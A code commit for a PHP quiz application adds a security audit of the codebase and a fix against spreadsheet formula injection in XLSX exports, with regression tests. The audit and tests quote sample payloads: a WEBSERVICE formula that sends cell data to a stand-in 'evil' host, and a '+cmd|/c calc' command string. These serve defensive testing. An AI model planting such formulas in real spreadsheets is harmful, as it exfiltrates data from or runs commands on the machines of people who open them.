Prevent formula injection in spreadsheet exports

Answer/candidate text starting with =, +, -, or @ was written to XLSX
exports as a live formula rather than plain text. Since seasons can
have multiple owners, a co-owner could plant a formula that runs (and
can exfiltrate data) when another owner opens the export in Excel.

SECURITY_AUDIT.md

@@ -0,0 +1,100 @@
+# Security Audit — Tijd voor de test
+
+**Date:** 2026-07-12
+**Branch:** `declare-ext-intl-ext-zip`
+**Scope:** Full codebase — authentication/authorization, injection & output encoding, config/secrets/infrastructure, quiz business-logic abuse, and dependency audits. Read-only scan; no files were modified.
+
+## Summary
+
+| # | Severity | Finding | Location |
+|---|----------|---------|----------|
+| 1 | High | ~~`PrepareEliminationController` has no authorization guard~~ **Fixed 2026-07-13** | `src/Controller/Backoffice/PrepareEliminationController.php:21-65` |
+| 2 | High | Production PostgreSQL published to host + default-password fallback | `compose.prod.yaml:27-28`, `compose.yaml:11,30` |
+| 3 | Medium | ~~Spreadsheet formula injection in exports~~ **Fixed 2026-07-13** | `src/Service/QuizSpreadsheetService.php`, `src/Service/DataExportService.php` |
+| 4 | Medium | No login throttling / brute-force protection | `config/packages/security.yaml:17-29` |
+| 5 | Medium | Open self-registration grants immediate backoffice access | `src/Controller/RegistrationController.php:40-56` |
+| 6 | Low | Double-submit race can inflate score | `src/Controller/QuizController.php:120-128` |
+| 7 | Low | Answer-POST path never checks `isFinalized`/`isLocked` | `src/Controller/QuizController.php:102-131` |
+| 8 | Low | Server-side formula evaluation of uploaded XLSX | `src/Service/QuizSpreadsheetService.php:68` |
+| 9 | Low | Containers run as root | `Dockerfile` |
+| 10 | Low | No security response headers in prod | `frankenphp/Caddyfile:45` |
+| 11 | Low | Committed `APP_SECRET` (dev-only) | `.env.dev:3` |
+| 12 | Low | `zend.exception_ignore_args = Off` in prod | `frankenphp/conf.d/10-app.ini:15` |
+
+**Dependencies are clean:** `composer audit` and `bin/console importmap:audit` both report zero known-CVE advisories.
+
+---
+
+## High
+
+### 1. `PrepareEliminationController` has no authorization guard — FIXED
+
+**File:** `src/Controller/Backoffice/PrepareEliminationController.php:21-65`
+
+The class carried no `#[IsGranted]` at class or method level — unlike every sibling controller, and unlike `EliminationController` which guards with `SeasonVoter::ELIMINATION`. Both routes were gated only by the blanket `^/backoffice → IS_AUTHENTICATED` rule.
+
+- `viewElimination` (line 46) both reads and, on POST, rewrites any elimination via `updateFromInputBag()` + `flush()`.
+- `index` (line 32) never checked that `$quiz` belonged to `$season`.
+
+**Failure scenario:** Any authenticated user who obtained or guessed another season's quiz/elimination UUID could rewrite that season's red/green elimination screens.
+
+**Fix applied:** Added `#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]` to `index` and `#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]` to `viewElimination`, matching the pattern used everywhere else. Regression tests `testIndexIsDeniedForNonOwner` and `testViewEliminationIsDeniedForNonOwner` were added to `tests/Controller/Backoffice/PrepareEliminationControllerTest.php` (written first, confirmed failing against the old code, now passing). Full suite (290 tests), PHPStan, Rector, and CS-Fixer all pass.
+
+### 2. Production PostgreSQL published to host with default-password fallback
+
+**Files:** `compose.prod.yaml:27-28`, `compose.yaml:11,30`
+
+- `compose.prod.yaml:27-28` publishes `5430:5432` in the *production* override; the DB should stay on the `internal` network only.
+- `compose.yaml:11,30` default `POSTGRES_PASSWORD` to `!ChangeMe!`, and `compose.prod.yaml` never sets it — so if the Portainer stack env omits it, prod silently runs with a publicly-known password.
+
+**Failure scenario:** Internet-reachable database with a known default credential → full read/write of user hashes, quiz data, reset-password tokens.
+
+**Fix:** Drop the port publish from the prod override; make `POSTGRES_PASSWORD` mandatory with no fallback in prod.
+
+---
+
+## Medium
+
+### 3. Spreadsheet formula injection in exports — FIXED
+
+**Files:** `src/Service/QuizSpreadsheetService.php:132,136`; `src/Service/DataExportService.php:208,237,249-265,328,393-403`
+
+All user-controlled strings were written to XLSX via `setCellValue()`/`fromArray()` with no quote-prefixing or value-binder override. PhpSpreadsheet stores any string starting with `=` as a live formula.
+
+**Failure scenario:** Seasons support multiple owners, so a co-owner could name an answer/candidate `=WEBSERVICE("http://evil/?"&A1)`; when another owner opened the quiz export or GDPR zip in Excel, the formula would execute/exfiltrate.
+
+**Fix applied:** Added `src/Helpers/FormulaInjectionSafeValueBinder.php`, a `DefaultValueBinder` override that forces any string starting with `= + - @` (or a leading tab/CR) to be stored as a plain string data type instead of being auto-detected as a formula. Wired it in via `Cell::setValueBinder()` in the constructors of `QuizSpreadsheetService` and `DataExportService`, so it's active before any cell is written. Regression tests added: `tests/Helpers/FormulaInjectionSafeValueBinderTest.php` (unit-level), plus `testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString` and `testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString` (written first, confirmed failing against the old code, now passing).
+
+### 4. No login throttling / brute-force protection
+
+**File:** `config/packages/security.yaml:17-29`
+
+`form_login` has no `login_throttling` and no rate limiter is configured anywhere. `/login` allows unlimited password guessing; the public `POST /` season-code entry (`QuizController.php:35`) is likewise an unthrottled oracle for enumerating the ~3.2M-space season codes (5 chars, 20-consonant alphabet).
+
+**Fix:** Add `login_throttling` and a rate limiter on the public season entry.
+
+### 5. Open self-registration grants immediate backoffice access
+
+**Files:** `src/Controller/RegistrationController.php:40-56`, `config/packages/security.yaml:31`
+
+Registration auto-logs-in a new user *before* email verification, and `^/backoffice` requires only `IS_AUTHENTICATED`. Any anonymous visitor gets an authenticated foothold to probe every backoffice route — the precondition that makes finding 1 practically exploitable.
+
+**Fix / decision needed:** Confirm whether open registration into the backoffice is intended. If so, gate sensitive areas behind verified email and add a CAPTCHA/rate limit to registration.
+
+---
+
+## Low
+
+- **6. Double-submit race can inflate score** (`src/Controller/QuizController.php:120-128`): no unique constraint on `GivenAnswer` and a TOCTOU between the "is this the next question" check and the insert. Concurrent POSTs of the known-correct answer each insert a row, each counted correct. Add a unique index on (quizCandidate, question).
+- **7. Answer-POST path never checks `isFinalized`/`isLocked`** (`src/Controller/QuizController.php:102-131`): a finalized quiz still set as `activeQuiz` stays answerable. The POST path also doesn't assert a `QuizCandidate` exists (only GET does) — currently not exploitable but worth hardening.
+- **8. Server-side formula evaluation of uploaded XLSX** (`src/Service/QuizSpreadsheetService.php:68`): `toArray()` leaves `calculateFormulas` at default `true`, allowing CPU-burn via nested formulas on import. Pass `calculateFormulas: false`.
+- **9. Containers run as root** (`Dockerfile`, no `USER` directive): any PHP RCE is immediately root in-container.
+- **10. No security response headers in prod** (`frankenphp/Caddyfile:45`): no CSP/`frame-ancestors`, `X-Content-Type-Options`, or HSTS — backoffice is clickjackable.
+- **11. Committed `APP_SECRET`** (`.env.dev:3`, dev-only): prod uses `composer dump-env prod` with an env-provided secret, so scope is limited to any environment misconfigured to `APP_ENV=dev`. Consider rotating regardless since the value is now public.
+- **12. `zend.exception_ignore_args = Off`** (`frankenphp/conf.d/10-app.ini:15`, prod): a stack trace in a password-handling path could ship plaintext to Sentry.
+
+---
+
+## Confirmed clean
+
+No SQL/DQL injection (all queries parameterized), essentially no XSS surface (one `|raw` on an app-generated signed URL; GitHub release markdown is escaped), no `unserialize`/`eval`/shell-exec anywhere, safe redirects (open-redirect listener validates the logout `target`), no correct-answer or score leakage to candidates, server-set timing (no client-forgeable timestamps), zip creation with sanitized filenames (no zip-slip/path traversal), and a clean CI workflow (least-privilege permissions, SHA-pinned actions, no `pull_request_target`).

src/Helpers/FormulaInjectionSafeValueBinder.php

@@ -0,0 +1,31 @@
+<?php
+
+declare(strict_types=1);
+
+namespace Tvdt\Helpers;
+
+use PhpOffice\PhpSpreadsheet\Cell\Cell;
+use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
+
+/**
+ * Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
+ * spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
+ * formula injection via user-controlled export data (e.g. a candidate or answer named
+ * `=WEBSERVICE(...)`).
+ */
+final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
+{
+    private const string DANGEROUS_PREFIXES = "=+-@\t\r";
+
+    #[\Override]
+    public function bindValue(Cell $cell, mixed $value): bool
+    {
+        if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
+            $cell->setValueExplicit($value);
+
+            return true;
+        }
+
+        return parent::bindValue($cell, $value);
+    }
+}

src/Service/DataExportService.php

@@ -5,6 +5,7 @@ declare(strict_types=1);
 namespace Tvdt\Service;
 
 use Doctrine\ORM\EntityManagerInterface;
+use PhpOffice\PhpSpreadsheet\Cell\Cell;
 use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
 use PhpOffice\PhpSpreadsheet\Spreadsheet;
 use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
@@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz;
 use Tvdt\Entity\Season;
 use Tvdt\Entity\User;
 use Tvdt\Helpers\FilenameSanitizer;
+use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
 use Tvdt\Repository\QuizRepository;
 
 use function Safe\tempnam;
@@ -31,7 +33,9 @@ class DataExportService
         private readonly EntityManagerInterface $entityManager,
         private readonly QuizSpreadsheetService $quizSpreadsheetService,
         private readonly QuizRepository $quizRepository,
-    ) {}
+    ) {
+        Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
+    }
 
     /** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
     public function exportForUser(User $user): string

src/Service/QuizSpreadsheetService.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 
 namespace Tvdt\Service;
 
+use PhpOffice\PhpSpreadsheet\Cell\Cell;
 use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
 use PhpOffice\PhpSpreadsheet\Reader;
 use PhpOffice\PhpSpreadsheet\Spreadsheet;
@@ -14,9 +15,15 @@ use Tvdt\Entity\Answer;
 use Tvdt\Entity\Question;
 use Tvdt\Entity\Quiz;
 use Tvdt\Exception\SpreadsheetDataException;
+use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
 
 class QuizSpreadsheetService
 {
+    public function __construct()
+    {
+        Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
+    }
+
     public function generateTemplate(bool $fillExample = true): \Closure
     {
         $quiz = new Quiz();

tests/Helpers/FormulaInjectionSafeValueBinderTest.php

@@ -0,0 +1,63 @@
+<?php
+
+declare(strict_types=1);
+
+namespace Tvdt\Tests\Helpers;
+
+use PhpOffice\PhpSpreadsheet\Cell\Cell;
+use PhpOffice\PhpSpreadsheet\Cell\DataType;
+use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
+use PhpOffice\PhpSpreadsheet\Spreadsheet;
+use PHPUnit\Framework\Attributes\CoversClass;
+use PHPUnit\Framework\Attributes\DataProvider;
+use PHPUnit\Framework\TestCase;
+use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
+
+#[CoversClass(FormulaInjectionSafeValueBinder::class)]
+final class FormulaInjectionSafeValueBinderTest extends TestCase
+{
+    protected function setUp(): void
+    {
+        Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
+    }
+
+    protected function tearDown(): void
+    {
+        Cell::setValueBinder(new DefaultValueBinder());
+    }
+
+    /** @return iterable<string, array{string}> */
+    public static function dangerousValueProvider(): iterable
+    {
+        yield 'equals-prefixed formula' => ['=WEBSERVICE("http://evil/?"&A1)'];
+        yield 'plus-prefixed' => ['+cmd|/c calc'];
+        yield 'minus-prefixed' => ['-2+3'];
+        yield 'at-prefixed' => ['@SUM(1,1)'];
+    }
+
+    #[DataProvider('dangerousValueProvider')]
+    public function testDangerousValuesAreStoredAsPlainStrings(string $value): void
+    {
+        $sheet = new Spreadsheet()->getActiveSheet();
+        $sheet->setCellValue('A1', $value);
+
+        $cell = $sheet->getCell('A1');
+        $this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
+        $this->assertSame($value, $cell->getValue());
+    }
+
+    public function testOrdinaryValuesAreUnaffected(): void
+    {
+        $sheet = new Spreadsheet()->getActiveSheet();
+        $sheet->setCellValue('A1', 'Anna en Bram');
+        $sheet->setCellValue('A2', 42);
+        $sheet->setCellValue('A3', true);
+
+        $this->assertSame('Anna en Bram', $sheet->getCell('A1')->getValue());
+        $this->assertSame(DataType::TYPE_STRING, $sheet->getCell('A1')->getDataType());
+        $this->assertSame(42, $sheet->getCell('A2')->getValue());
+        $this->assertSame(DataType::TYPE_NUMERIC, $sheet->getCell('A2')->getDataType());
+        $this->assertTrue($sheet->getCell('A3')->getValue());
+        $this->assertSame(DataType::TYPE_BOOL, $sheet->getCell('A3')->getDataType());
+    }
+}

tests/Service/DataExportServiceTest.php

@@ -5,6 +5,7 @@ declare(strict_types=1);
 namespace Tvdt\Tests\Service;
 
 use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
+use PhpOffice\PhpSpreadsheet\Cell\DataType;
 use PhpOffice\PhpSpreadsheet\Reader;
 use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
 use PHPUnit\Framework\Attributes\CoversClass;
@@ -202,6 +203,43 @@ final class DataExportServiceTest extends DatabaseTestCase
         $this->assertSame('Man', $claudiaRow[$questionColumnIndex]);
     }
 
+    public function testRawAnswersSheetStoresFormulaLikeAnswerTextAsPlainString(): void
+    {
+        $season = $this->getSeasonByCode('krtek');
+        $quiz = $this->entityManager->getRepository(Quiz::class)->findOneBy(['name' => 'Quiz 1', 'season' => $season]);
+        $this->assertInstanceOf(Quiz::class, $quiz);
+        $candidate = $this->getCandidateBySeasonAndName($season, 'Claudia');
+
+        /** @var Question $firstQuestion */
+        $firstQuestion = $quiz->questions->first();
+        /** @var Answer $chosenAnswer */
+        $chosenAnswer = $firstQuestion->answers->first();
+        $chosenAnswer->text = '=WEBSERVICE("http://evil/?"&A1)';
+
+        $this->quizCandidateRepository->createIfNotExist($quiz, $candidate);
+        $this->entityManager->persist(new GivenAnswer($candidate, $quiz, $chosenAnswer));
+        $this->entityManager->flush();
+
+        $zip = $this->openZip($this->getUserByEmail('user2@example.org'));
+        $quizContent = $zip->getFromName('krtek-Krtek-Weekend/Quiz-1.xlsx');
+        $this->assertIsString($quizContent);
+        $zip->close();
+
+        $sheet = $this->loadSheet($quizContent, 'Raw answers');
+        $rows = $sheet->toArray();
+        $header = $rows[0];
+        $questionColumnIndex = array_search($firstQuestion->question, $header, true);
+        $this->assertIsInt($questionColumnIndex);
+        $column = Coordinate::stringFromColumnIndex($questionColumnIndex + 1);
+
+        $candidateNames = array_column(\array_slice($rows, 1), 0);
+        $rowNumber = 2 + array_search('Claudia', $candidateNames, true);
+
+        $cell = $sheet->getCell($column.$rowNumber);
+        $this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
+        $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
+    }
+
     public function testRawAnswersSheetBoldsCorrectAnswersOnly(): void
     {
         $season = $this->getSeasonByCode('krtek');

tests/Service/QuizSpreadsheetServiceTest.php

@@ -4,6 +4,7 @@ declare(strict_types=1);
 
 namespace Tvdt\Tests\Service;
 
+use PhpOffice\PhpSpreadsheet\Cell\DataType;
 use PhpOffice\PhpSpreadsheet\Reader;
 use PhpOffice\PhpSpreadsheet\Spreadsheet;
 use PhpOffice\PhpSpreadsheet\Writer;
@@ -121,6 +122,26 @@ final class QuizSpreadsheetServiceTest extends TestCase
         $this->assertCount(3, $second->answers);
     }
 
+    public function testQuizToXlsxStoresFormulaLikeAnswerTextAsPlainString(): void
+    {
+        $quiz = new Quiz();
+        $question = new Question();
+        $question->question = 'Who missed the assignment?';
+        $question->ordering = 1;
+        $question->addAnswer(new Answer('=WEBSERVICE("http://evil/?"&A1)', isRightAnswer: true));
+        $question->addAnswer(new Answer('Bob', isRightAnswer: false));
+
+        $quiz->addQuestion($question);
+
+        $path = $this->captureXlsx($this->subject->quizToXlsx($quiz));
+
+        $sheet = new Reader\Xlsx()->setReadDataOnly(true)->load($path)->getActiveSheet();
+        $cell = $sheet->getCell('B2');
+
+        $this->assertSame(DataType::TYPE_STRING, $cell->getDataType());
+        $this->assertSame('=WEBSERVICE("http://evil/?"&A1)', $cell->getValue());
+    }
+
     public function testXlsxToQuizThrowsOnInvalidMimeType(): void
     {
         $path = $this->createTempPath('.txt');